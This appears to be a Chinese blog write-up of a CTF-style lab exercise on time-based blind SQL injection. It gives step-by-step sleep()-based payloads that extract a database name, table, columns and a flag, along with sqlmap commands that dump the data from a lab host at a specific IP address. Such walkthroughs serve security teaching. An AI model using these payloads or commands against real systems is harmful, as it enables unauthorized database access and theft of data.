延时注入的原理

适用于,无法回现和无法显示错误页面的场景

##利用函数sleep()让服务器休眠,通过休眠时间判断执行的语句对错,从而得到我们想要的信息
1,判断当前库名的长度
and if (length(database())=8,0,sleep(5))#0
结果=8时网页没睡眠,可以判断当前库名有8个字符
一次手工和工具的延时注入(时间注入)
2,猜库名
and if (ascii(substr(database(),1,1))=115,0,sleep(5))

结果=115时网页没睡眠,可以判断库名第一个字符对应的ascii码为115 字符为s
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
判断第二个字符
and if(ascii(substr(database(),2,1))=101,0,sleep(15))
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
执行到最后得出全部字符为security,也就是当前库名
第二个字符ascii等于101 字符为e
3,猜表名
and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,0,sleep(5))
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
security的第一张表的第一个字符ascii为101,为字符e
4.手工注入知道了库名,用SQLmap辅助操作查出表名
命令为:sqlmap.dy -u “url” --tables -D “security”
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
5.知道表名了,查我们想要的表的字段
手工语句:and if((select ascii(substr((select column_name from information_schema.columns where table_name="zKaq"limit 0,1),1,1)))=101,0,sleep(5))

sqlmap命令为sqlmap.dy -u “url” --columns -T “zKaq”
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
6.查字段内容
手工语句:and if((select ascii(substr((select zKaQ from zKaq WHERE flag=“10”),1,1)))=101,0,sleep(5))
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)

sqlmap工具命令:sqlmap.py -u"http://120.203.13.75:8150/New/TimeBased/RankOne/sql-one/?id=1" --dump -T “zKaq” -C “flag”,
一次手工和工具的延时注入(时间注入)一次手工和工具的延时注入(时间注入)
找到flag,本题完成

相关文章:

  • 2021-08-24
  • 2021-11-22
  • 2021-09-29
  • 2021-12-02
  • 2021-06-02
  • 2021-12-02
  • 2021-09-20
  • 2021-08-27
猜你喜欢
  • 2022-12-23
  • 2021-11-02
  • 2022-12-23
  • 2022-12-23
  • 2021-05-30
  • 2021-10-16
  • 2022-12-23
相关资源
相似解决方案